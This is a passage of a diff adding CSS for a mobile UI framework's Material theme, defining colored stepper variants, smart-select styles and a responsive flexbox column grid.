.stepper-value { + color: #f44336; +} +.md .stepper.color-red .stepper-input-wrap input { + color: #f44336; +} +.md .stepper.color-red.stepper-fill .stepper-button, +.md .stepper.color-red.stepper-fill-md .stepper-button, +.md .stepper.color-red.stepper-fill .stepper-button-minus, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus, +.md .stepper.color-red.stepper-fill .stepper-button-plus, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus { + background-color: #f44336; + color: #fff; +} +.md .stepper.color-red.stepper-fill .stepper-button.active-state, +.md .stepper.color-red.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-red.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-red.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus.active-state { + background: #f21f0f; +} +.md .stepper.color-red.stepper-fill .stepper-button:after, +.md .stepper.color-red.stepper-fill-md .stepper-button:after, +.md .stepper.color-red.stepper-fill .stepper-button-minus:after, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-red.stepper-fill .stepper-button-plus:after, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-red.stepper-fill .stepper-button:before, +.md .stepper.color-red.stepper-fill-md .stepper-button:before, +.md .stepper.color-red.stepper-fill .stepper-button-minus:before, +.md .stepper.color-red.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-red.stepper-fill .stepper-button-plus:before, +.md .stepper.color-red.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-green .stepper-button, +.md .stepper.color-green .stepper-button-minus, +.md .stepper.color-green .stepper-button-plus { + border-color: #4caf50; + color: #4caf50; +} +.md .stepper.color-green .stepper-button-plus:after, +.md .stepper.color-green .stepper-button-minus:after, +.md .stepper.color-green .stepper-button-plus:before, +.md .stepper.color-green .stepper-button-minus:before { + background: #4caf50; +} +.md .stepper.color-green .stepper-value, +.md .stepper.color-green .stepper-input-wrap { + border-top-color: #4caf50; + border-bottom-color: #4caf50; +} +.md .stepper.color-green .stepper-value { + color: #4caf50; +} +.md .stepper.color-green .stepper-input-wrap input { + color: #4caf50; +} +.md .stepper.color-green.stepper-fill .stepper-button, +.md .stepper.color-green.stepper-fill-md .stepper-button, +.md .stepper.color-green.stepper-fill .stepper-button-minus, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus, +.md .stepper.color-green.stepper-fill .stepper-button-plus, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus { + background-color: #4caf50; + color: #fff; +} +.md .stepper.color-green.stepper-fill .stepper-button.active-state, +.md .stepper.color-green.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-green.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-green.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus.active-state { + background: #409343; +} +.md .stepper.color-green.stepper-fill .stepper-button:after, +.md .stepper.color-green.stepper-fill-md .stepper-button:after, +.md .stepper.color-green.stepper-fill .stepper-button-minus:after, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-green.stepper-fill .stepper-button-plus:after, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-green.stepper-fill .stepper-button:before, +.md .stepper.color-green.stepper-fill-md .stepper-button:before, +.md .stepper.color-green.stepper-fill .stepper-button-minus:before, +.md .stepper.color-green.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-green.stepper-fill .stepper-button-plus:before, +.md .stepper.color-green.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-blue .stepper-button, +.md .stepper.color-blue .stepper-button-minus, +.md .stepper.color-blue .stepper-button-plus { + border-color: #2196f3; + color: #2196f3; +} +.md .stepper.color-blue .stepper-button-plus:after, +.md .stepper.color-blue .stepper-button-minus:after, +.md .stepper.color-blue .stepper-button-plus:before, +.md .stepper.color-blue .stepper-button-minus:before { + background: #2196f3; +} +.md .stepper.color-blue .stepper-value, +.md .stepper.color-blue .stepper-input-wrap { + border-top-color: #2196f3; + border-bottom-color: #2196f3; +} +.md .stepper.color-blue .stepper-value { + color: #2196f3; +} +.md .stepper.color-blue .stepper-input-wrap input { + color: #2196f3; +} +.md .stepper.color-blue.stepper-fill .stepper-button, +.md .stepper.color-blue.stepper-fill-md .stepper-button, +.md .stepper.color-blue.stepper-fill .stepper-button-minus, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus, +.md .stepper.color-blue.stepper-fill .stepper-button-plus, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus { + background-color: #2196f3; + color: #fff; +} +.md .stepper.color-blue.stepper-fill .stepper-button.active-state, +.md .stepper.color-blue.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-blue.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-blue.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus.active-state { + background: #0c82df; +} +.md .stepper.color-blue.stepper-fill .stepper-button:after, +.md .stepper.color-blue.stepper-fill-md .stepper-button:after, +.md .stepper.color-blue.stepper-fill .stepper-button-minus:after, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-blue.stepper-fill .stepper-button-plus:after, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-blue.stepper-fill .stepper-button:before, +.md .stepper.color-blue.stepper-fill-md .stepper-button:before, +.md .stepper.color-blue.stepper-fill .stepper-button-minus:before, +.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-blue.stepper-fill .stepper-button-plus:before, +.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-pink .stepper-button, +.md .stepper.color-pink .stepper-button-minus, +.md .stepper.color-pink .stepper-button-plus { + border-color: #e91e63; + color: #e91e63; +} +.md .stepper.color-pink .stepper-button-plus:after, +.md .stepper.color-pink .stepper-button-minus:after, +.md .stepper.color-pink .stepper-button-plus:before, +.md .stepper.color-pink .stepper-button-minus:before { + background: #e91e63; +} +.md .stepper.color-pink .stepper-value, +.md .stepper.color-pink .stepper-input-wrap { + border-top-color: #e91e63; + border-bottom-color: #e91e63; +} +.md .stepper.color-pink .stepper-value { + color: #e91e63; +} +.md .stepper.color-pink .stepper-input-wrap input { + color: #e91e63; +} +.md .stepper.color-pink.stepper-fill .stepper-button, +.md .stepper.color-pink.stepper-fill-md .stepper-button, +.md .stepper.color-pink.stepper-fill .stepper-button-minus, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus, +.md .stepper.color-pink.stepper-fill .stepper-button-plus, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus { + background-color: #e91e63; + color: #fff; +} +.md .stepper.color-pink.stepper-fill .stepper-button.active-state, +.md .stepper.color-pink.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-pink.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-pink.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus.active-state { + background: #ca1452; +} +.md .stepper.color-pink.stepper-fill .stepper-button:after, +.md .stepper.color-pink.stepper-fill-md .stepper-button:after, +.md .stepper.color-pink.stepper-fill .stepper-button-minus:after, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-pink.stepper-fill .stepper-button-plus:after, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-pink.stepper-fill .stepper-button:before, +.md .stepper.color-pink.stepper-fill-md .stepper-button:before, +.md .stepper.color-pink.stepper-fill .stepper-button-minus:before, +.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-pink.stepper-fill .stepper-button-plus:before, +.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-yellow .stepper-button, +.md .stepper.color-yellow .stepper-button-minus, +.md .stepper.color-yellow .stepper-button-plus { + border-color: #ffeb3b; + color: #ffeb3b; +} +.md .stepper.color-yellow .stepper-button-plus:after, +.md .stepper.color-yellow .stepper-button-minus:after, +.md .stepper.color-yellow .stepper-button-plus:before, +.md .stepper.color-yellow .stepper-button-minus:before { + background: #ffeb3b; +} +.md .stepper.color-yellow .stepper-value, +.md .stepper.color-yellow .stepper-input-wrap { + border-top-color: #ffeb3b; + border-bottom-color: #ffeb3b; +} +.md .stepper.color-yellow .stepper-value { + color: #ffeb3b; +} +.md .stepper.color-yellow .stepper-input-wrap input { + color: #ffeb3b; +} +.md .stepper.color-yellow.stepper-fill .stepper-button, +.md .stepper.color-yellow.stepper-fill-md .stepper-button, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus { + background-color: #ffeb3b; + color: #fff; +} +.md .stepper.color-yellow.stepper-fill .stepper-button.active-state, +.md .stepper.color-yellow.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus.active-state { + background: #ffe712; +} +.md .stepper.color-yellow.stepper-fill .stepper-button:after, +.md .stepper.color-yellow.stepper-fill-md .stepper-button:after, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus:after, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus:after, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-yellow.stepper-fill .stepper-button:before, +.md .stepper.color-yellow.stepper-fill-md .stepper-button:before, +.md .stepper.color-yellow.stepper-fill .stepper-button-minus:before, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus:before, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-orange .stepper-button, +.md .stepper.color-orange .stepper-button-minus, +.md .stepper.color-orange .stepper-button-plus { + border-color: #ff9800; + color: #ff9800; +} +.md .stepper.color-orange .stepper-button-plus:after, +.md .stepper.color-orange .stepper-button-minus:after, +.md .stepper.color-orange .stepper-button-plus:before, +.md .stepper.color-orange .stepper-button-minus:before { + background: #ff9800; +} +.md .stepper.color-orange .stepper-value, +.md .stepper.color-orange .stepper-input-wrap { + border-top-color: #ff9800; + border-bottom-color: #ff9800; +} +.md .stepper.color-orange .stepper-value { + color: #ff9800; +} +.md .stepper.color-orange .stepper-input-wrap input { + color: #ff9800; +} +.md .stepper.color-orange.stepper-fill .stepper-button, +.md .stepper.color-orange.stepper-fill-md .stepper-button, +.md .stepper.color-orange.stepper-fill .stepper-button-minus, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus, +.md .stepper.color-orange.stepper-fill .stepper-button-plus, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus { + background-color: #ff9800; + color: #fff; +} +.md .stepper.color-orange.stepper-fill .stepper-button.active-state, +.md .stepper.color-orange.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-orange.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-orange.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus.active-state { + background: #d68000; +} +.md .stepper.color-orange.stepper-fill .stepper-button:after, +.md .stepper.color-orange.stepper-fill-md .stepper-button:after, +.md .stepper.color-orange.stepper-fill .stepper-button-minus:after, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-orange.stepper-fill .stepper-button-plus:after, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-orange.stepper-fill .stepper-button:before, +.md .stepper.color-orange.stepper-fill-md .stepper-button:before, +.md .stepper.color-orange.stepper-fill .stepper-button-minus:before, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-orange.stepper-fill .stepper-button-plus:before, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-gray .stepper-button, +.md .stepper.color-gray .stepper-button-minus, +.md .stepper.color-gray .stepper-button-plus { + border-color: #9e9e9e; + color: #9e9e9e; +} +.md .stepper.color-gray .stepper-button-plus:after, +.md .stepper.color-gray .stepper-button-minus:after, +.md .stepper.color-gray .stepper-button-plus:before, +.md .stepper.color-gray .stepper-button-minus:before { + background: #9e9e9e; +} +.md .stepper.color-gray .stepper-value, +.md .stepper.color-gray .stepper-input-wrap { + border-top-color: #9e9e9e; + border-bottom-color: #9e9e9e; +} +.md .stepper.color-gray .stepper-value { + color: #9e9e9e; +} +.md .stepper.color-gray .stepper-input-wrap input { + color: #9e9e9e; +} +.md .stepper.color-gray.stepper-fill .stepper-button, +.md .stepper.color-gray.stepper-fill-md .stepper-button, +.md .stepper.color-gray.stepper-fill .stepper-button-minus, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus, +.md .stepper.color-gray.stepper-fill .stepper-button-plus, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus { + background-color: #9e9e9e; + color: #fff; +} +.md .stepper.color-gray.stepper-fill .stepper-button.active-state, +.md .stepper.color-gray.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-gray.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-gray.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus.active-state { + background: #8a8a8a; +} +.md .stepper.color-gray.stepper-fill .stepper-button:after, +.md .stepper.color-gray.stepper-fill-md .stepper-button:after, +.md .stepper.color-gray.stepper-fill .stepper-button-minus:after, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-gray.stepper-fill .stepper-button-plus:after, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-gray.stepper-fill .stepper-button:before, +.md .stepper.color-gray.stepper-fill-md .stepper-button:before, +.md .stepper.color-gray.stepper-fill .stepper-button-minus:before, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-gray.stepper-fill .stepper-button-plus:before, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-white .stepper-button, +.md .stepper.color-white .stepper-button-minus, +.md .stepper.color-white .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.md .stepper.color-white .stepper-button-plus:after, +.md .stepper.color-white .stepper-button-minus:after, +.md .stepper.color-white .stepper-button-plus:before, +.md .stepper.color-white .stepper-button-minus:before { + background: #ffffff; +} +.md .stepper.color-white .stepper-value, +.md .stepper.color-white .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.md .stepper.color-white .stepper-value { + color: #ffffff; +} +.md .stepper.color-white .stepper-input-wrap input { + color: #ffffff; +} +.md .stepper.color-white.stepper-fill .stepper-button, +.md .stepper.color-white.stepper-fill-md .stepper-button, +.md .stepper.color-white.stepper-fill .stepper-button-minus, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus, +.md .stepper.color-white.stepper-fill .stepper-button-plus, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus { + background-color: #ffffff; + color: #fff; +} +.md .stepper.color-white.stepper-fill .stepper-button.active-state, +.md .stepper.color-white.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-white.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-white.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus.active-state { + background: #ebebeb; +} +.md .stepper.color-white.stepper-fill .stepper-button:after, +.md .stepper.color-white.stepper-fill-md .stepper-button:after, +.md .stepper.color-white.stepper-fill .stepper-button-minus:after, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-white.stepper-fill .stepper-button-plus:after, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-white.stepper-fill .stepper-button:before, +.md .stepper.color-white.stepper-fill-md .stepper-button:before, +.md .stepper.color-white.stepper-fill .stepper-button-minus:before, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-white.stepper-fill .stepper-button-plus:before, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-black .stepper-button, +.md .stepper.color-black .stepper-button-minus, +.md .stepper.color-black .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.md .stepper.color-black .stepper-button-plus:after, +.md .stepper.color-black .stepper-button-minus:after, +.md .stepper.color-black .stepper-button-plus:before, +.md .stepper.color-black .stepper-button-minus:before { + background: #000000; +} +.md .stepper.color-black .stepper-value, +.md .stepper.color-black .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.md .stepper.color-black .stepper-value { + color: #000000; +} +.md .stepper.color-black .stepper-input-wrap input { + color: #000000; +} +.md .stepper.color-black.stepper-fill .stepper-button, +.md .stepper.color-black.stepper-fill-md .stepper-button, +.md .stepper.color-black.stepper-fill .stepper-button-minus, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus, +.md .stepper.color-black.stepper-fill .stepper-button-plus, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus { + background-color: #000000; + color: #fff; +} +.md .stepper.color-black.stepper-fill .stepper-button.active-state, +.md .stepper.color-black.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-black.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-black.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus.active-state { + background: #000000; +} +.md .stepper.color-black.stepper-fill .stepper-button:after, +.md .stepper.color-black.stepper-fill-md .stepper-button:after, +.md .stepper.color-black.stepper-fill .stepper-button-minus:after, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-black.stepper-fill .stepper-button-plus:after, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-black.stepper-fill .stepper-button:before, +.md .stepper.color-black.stepper-fill-md .stepper-button:before, +.md .stepper.color-black.stepper-fill .stepper-button-minus:before, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-black.stepper-fill .stepper-button-plus:before, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +/* === Smart Select === */ +.smart-select select { + display: none; +} +.smart-select .item-after { + max-width: 70%; + overflow: hidden; + text-overflow: ellipsis; + position: relative; + display: block; +} +.sheet-modal.smart-select-sheet .sheet-modal-inner { + background: #fff; +} +.sheet-modal.smart-select-sheet .list { + margin: 0; +} +.sheet-modal.smart-select-sheet .list ul:before { + display: none !important; +} +.sheet-modal.smart-select-sheet .list ul:after { + display: none !important; +} +.smart-select-popover .popover-inner { + max-height: 40vh; +} +.md .theme-dark .sheet-modal.smart-select-sheet .sheet-modal-inner { + background-color: transparent; +} +/* === Grid === */ +.row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.row > [class*="col-"], +.row > .col { + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.row .col { + width: 100%; +} +/* === Grid === */ +.md .row .col-100 { + width: 100%; + width: calc((100% - 16px*0) / 1); +} +.md .row.no-gap .col-100 { + width: 100%; +} +.md .row .col-95 { + width: 95%; + width: calc((100% - 16px*0.05263157894736836) / 1.0526315789473684); +} +.md .row.no-gap .col-95 { + width: 95%; +} +.md .row .col-90 { + width: 90%; + width: calc((100% - 16px*0.11111111111111116) / 1.1111111111111112); +} +.md .row.no-gap .col-90 { + width: 90%; +} +.md .row .col-85 { + width: 85%; + width: calc((100% - 16px*0.17647058823529416) / 1.1764705882352942); +} +.md .row.no-gap .col-85 { + width: 85%; +} +.md .row .col-80 { + width: 80%; + width: calc((100% - 16px*0.25) / 1.25); +} +.md .row.no-gap .col-80 { + width: 80%; +} +.md .row .col-75 { + width: 75%; + width: calc((100% - 16px*0.33333333333333326) / 1.3333333333333333); +} +.md .row.no-gap .col-75 { + width: 75%; +} +.md .row .col-70 { + width: 70%; + width: calc((100% - 16px*0.4285714285714286) / 1.4285714285714286); +} +.md .row.no-gap .col-70 { + width: 70%; +} +.md .row .col-66 { + width: 66.66666666666666%; + width: calc((100% - 16px*0.5000000000000002) / 1.5000000000000002); +} +.md .row.no-gap .col-66 { + width: 66.66666666666666%; +} +.md .row .col-65 { + width: 65%; + width: calc((100% - 16px*0.5384615384615385) / 1.5384615384615385); +} +.md .row.no-gap .col-65 { + width: 65%; +} +.md .row .col-60 { + width: 60%; + width: calc((100% - 16px*0.6666666666666667) / 1.6666666666666667); +} +.md .row.no-gap .col-60 { + width: 60%; +} +.md .row .col-55 { + width: 55%; + width: calc((100% - 16px*0.8181818181818181) / 1.8181818181818181); +} +.md .row.no-gap .col-55 { + width: 55%; +} +.md .row .col-50 { + width: 50%; + width: calc((100% - 16px*1) / 2); +} +.md .row.no-gap .col-50 { + width: 50%; +} +.md .row .col-45 { + width: 45%; + width: calc((100% - 16px*1.2222222222222223) / 2.2222222222222223); +} +.md .row.no-gap .col-45 { + width: 45%; +} +.md .row .col-40 { + width: 40%; + width: calc((100% - 16px*1.5) / 2.5); +} +.md .row.no-gap .col-40 { + width: 40%; +} +.md .row .col-35 { + width: 35%; + width: calc((100% - 16px*1.8571428571428572) / 2.857142857142857); +} +.md .row.no-gap .col-35 { + width: 35%; +} +.md .row .col-33 { + width: 33.333333333333336%; + width: calc((100% - 16px*2) / 3); +} +.md .row.no-gap .col-33 { + width: 33.333333333333336%; +} +.md .row .col-30 { + width: 30%; + width: calc((100% - 16px*2.3333333333333335) / 3.3333333333333335); +} +.md .row.no-gap .col-30 { + width: 30%; +} +.md .row .col-25 { + width: 25%; + width: calc((100% - 16px*3) / 4); +} +.md .row.no-gap .col-25 { + width: 25%; +} +.md .row .col-20 { + width: 20%; + width: calc((100% - 16px*4) / 5); +} +.md .row.no-gap .col-20 { + width: 20%; +} +.md .row .col-15 { + width: 15%; + width: calc((100% - 16px*5.666666666666667) / 6.666666666666667); +} +.md .row.no-gap .col-15 { + width: 15%; +} +.md .row .col-10 { + width: 10%; + width: calc((100% - 16px*9) / 10); +} +.md .row.no-gap .col-10 { + width: 10%; +} +.md .row .col-5 { + width: 5%; + width: calc((100% - 16px*19) / 20); +} +.md .row.no-gap .col-5 { + width: 5%; +} +.md .row .col:nth-last-child(1), +.md .row .col:nth-last-child(1) ~ .col { + width: 100%; + width: calc((100% - 16px*0) / 1); +} +.md .row.no-gap .col:nth-last-child(1), +.md .row.no-gap .col:nth-last-child(1) ~ .col { + width: 100%; +} +.md .row .col:nth-last-child(2), +.md .row .col:nth-last-child(2) ~ .col { + width: 50%; + width: calc((100% - 16px*1) / 2); +} +.md .row.no-gap .col:nth-last-child(2), +.md .row.no-gap .col:nth-last-child(2) ~ .col { + width: 50%; +} +.md .row .col:nth-last-child(3), +.md .row .col:nth-last-child(3) ~ .col { + width: 33.33333333%; + width: calc((100% - 16px*2) / 3); +} +.md .row.no-gap .col:nth-last-child(3), +.md .row.no-gap .col:nth-last-child(3) ~ .col { + width: 33.33333333%; +} +.md .row .col:nth-last-child(4), +.md .row .col:nth-last-child(4) ~ .col { + width: 25%; + width: calc((100% - 16px*3) / 4); +} +.md .row.no-gap .col:nth-last-child(4), +.md .row.no-gap .col:nth-last-child(4) ~ .col { + width: 25%; +} +.md .row .col:nth-last-child(5), +.md .row .col:nth-last-child(5) ~ .col { + width: 20%; + width: calc((100% - 16px*4) / 5); +} +.md .row.no-gap .col:nth-last-child(5), +.md .row.no-gap .col:nth-last-child(5) ~ .col { + width: 20%; +} +.md .row .col:nth-last-child(6), +.md .row .col:nth-last-child(6) ~ .col { + width: 16.66666667%; + width: calc((100% - 16px*5) / 6); +} +.md .row.no-gap .col:nth-last-child(6), +.md .row.no-gap .col:nth-last-child(6) ~ .col { + width: 16.66666667%; +} +.md .row .col:nth-last-child(7), +.md .row .col:nth-last-child(7) ~ .col { + width: 14.28571429%; + width: calc((100% - 16px*6) / 7); +} +.md .row.no-gap .col:nth-last-child(7), +.md .row.no-gap .col:nth-last-child(7) ~ .col { + width: 14.28571429%; +} +.md .row .col:nth-last-child(8), +.md .row .col:nth-last-child(8) ~ .col { + width: 12.5%; + width: calc((100% - 16px*7) / 8); +} +.md .row.no-gap .col:nth-last-child(8), +.md .row.no-gap .col:nth-last-child(8) ~ .col { + width: 12.5%; +} +.md .row .col:nth-last-child(9), +.md .row .col:nth-last-child(9) ~ .col { + width: 11.11111111%; + width: calc((100% - 16px*8) / 9); +} +.md .row.no-gap .col:nth-last-child(9), +.md .row.no-gap .col:nth-last-child(9) ~ .col { + width: 11.11111111%; +} +.md .row .col:nth-last-child(10), +.md .row .col:nth-last-child(10) ~ .col { + width: 10%; + width: calc((100% - 16px*9) / 10); +} +.md .row.no-gap .col:nth-last-child(10), +.md .row.no-gap .col:nth-last-child(10) ~ .col { + width: 10%; +} +.md .row .col:nth-last-child(11), +.md .row .col:nth-last-child(11) ~ .col { + width: 9.09090909%; + width: calc((100% - 16px*10) / 11); +} +.md .row.no-gap .col:nth-last-child(11), +.md .row.no-gap .col:nth-last-child(11) ~ .col { + width: 9.09090909%; +} +.md .row .col:nth-last-child(12), +.md .row .col:nth-last-child(12) ~ .col { + width: 8.33333333%; + width: calc((100% - 16px*11) / 12); +} +.md .row.no-gap .col:nth-last-child(12), +.md .row.no-gap .col:nth-last-child(12) ~ .col { + width: 8.33333333%; +} +.md .row .col:nth-last-child(13), +.md .row .col:nth-last-child(13) ~ .col { + width: 7.69230769%; + width: calc((100% - 16px*12) / 13); +} +.md .row.no-gap .col:nth-last-child(13), +.md .row.no-gap .col:nth-last-child(13) ~ .col { + width: 7.69230769%; +} +.md .row .col:nth-last-child(14), +.md .row .col:nth-last-child(14) ~ .col { + width: 7.14285714%; + width: calc((100% - 16px*13) / 14); +} +.md .row.no-gap .col:nth-last-child(14), +.md .row.no-gap .col:nth-last-child(14) ~ .col { + width: 7.14285714%; +} +.md .row .col:nth-last-child(15), +.md .row .col:nth-last-child(15) ~ .col { + width: 6.66666667%; + width: calc((100% - 16px*14) / 15); +} +.md .row.no-gap .col:nth-last-child(15), +.md .row.no-gap .col:nth-last-child(15) ~ .col { + width: 6.66666667%; +} +.md .row .col:nth-last-child(16), +.md .row .col:nth-last-child(16) ~ .col { + width: 6.25%; + width: calc((100% - 16px*15) / 16); +} +.md .row.no-gap .col:nth-last-child(16), +.md .row.no-gap .col:nth-last-child(16) ~ .col { + width: 6.25%; +} +.md .row .col:nth-last-child(17), +.md .row .col:nth-last-child(17) ~ .col { + width: 5.88235294%; + width: calc((100% - 16px*16) / 17); +} +.md .row.no-gap .col:nth-last-child(17), +.md .row.no-gap .col:nth-last-child(17) ~ .col { + width: 5.88235294%; +} +.md .row .col:nth-last-child(18), +.md .row .col:nth-last-child(18) ~ .col { + width: 5.55555556%; + width: calc((100% - 16px*17) / 18); +} +.md .row.no-gap .col:nth-last-child(18), +.md .row.no-gap .col:nth-last-child(18) ~ .col { + width: 5.55555556%; +} +.md .row .col:nth-last-child(19), +.md .row .col:nth-last-child(19) ~ .col { + width: 5.26315789%; + width: calc((100% - 16px*18) / 19); +} +.md .row.no-gap .col:nth-last-child(19), +.md .row.no-gap .col:nth-last-child(19) ~ .col { + width: 5.26315789%; +} +.md .row .col:nth-last-child(20), +.md .row .col:nth-last-child(20) ~ .col { + width: 5%; + width: calc((100% - 16px*19) / 20); +} +.md .row.no-gap .col:nth-last-child(20), +.md .row.no-gap .col:nth-last-child(20) ~ .col { + width: 5%; +} +.md .row .col:nth-last-child(21), +.md .row .col:nth-last-child(21) ~ .col { + width: 4.76190476%; + width: calc((100% - 16px*20) / 21); +} +.md .row.no-gap .col:nth-last-child(21), +.md .row.no-gap .col:nth-last-child(21) ~ .col { + width: 4.76190476%; +} +@media (min-width: 768px) { + .md .row .tablet-100 { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .tablet-100 { + width: 100%; + } + .md .row .tablet-95 { + width: 95%; + width: calc((100% - 16px*0.05263157894736836) / 1.0526315789473684); + } + .md .row.no-gap .tablet-95 { + width: 95%; + } + .md .row .tablet-90 { + width: 90%; + width: calc((100% - 16px*0.11111111111111116) / 1.1111111111111112); + } + .md .row.no-gap .tablet-90 { + width: 90%; + } + .md .row .tablet-85 { + width: 85%; + width: calc((100% - 16px*0.17647058823529416) / 1.1764705882352942); + } + .md .row.no-gap .tablet-85 { + width: 85%; + } + .md .row .tablet-80 { + width: 80%; + width: calc((100% - 16px*0.25) / 1.25); + } + .md 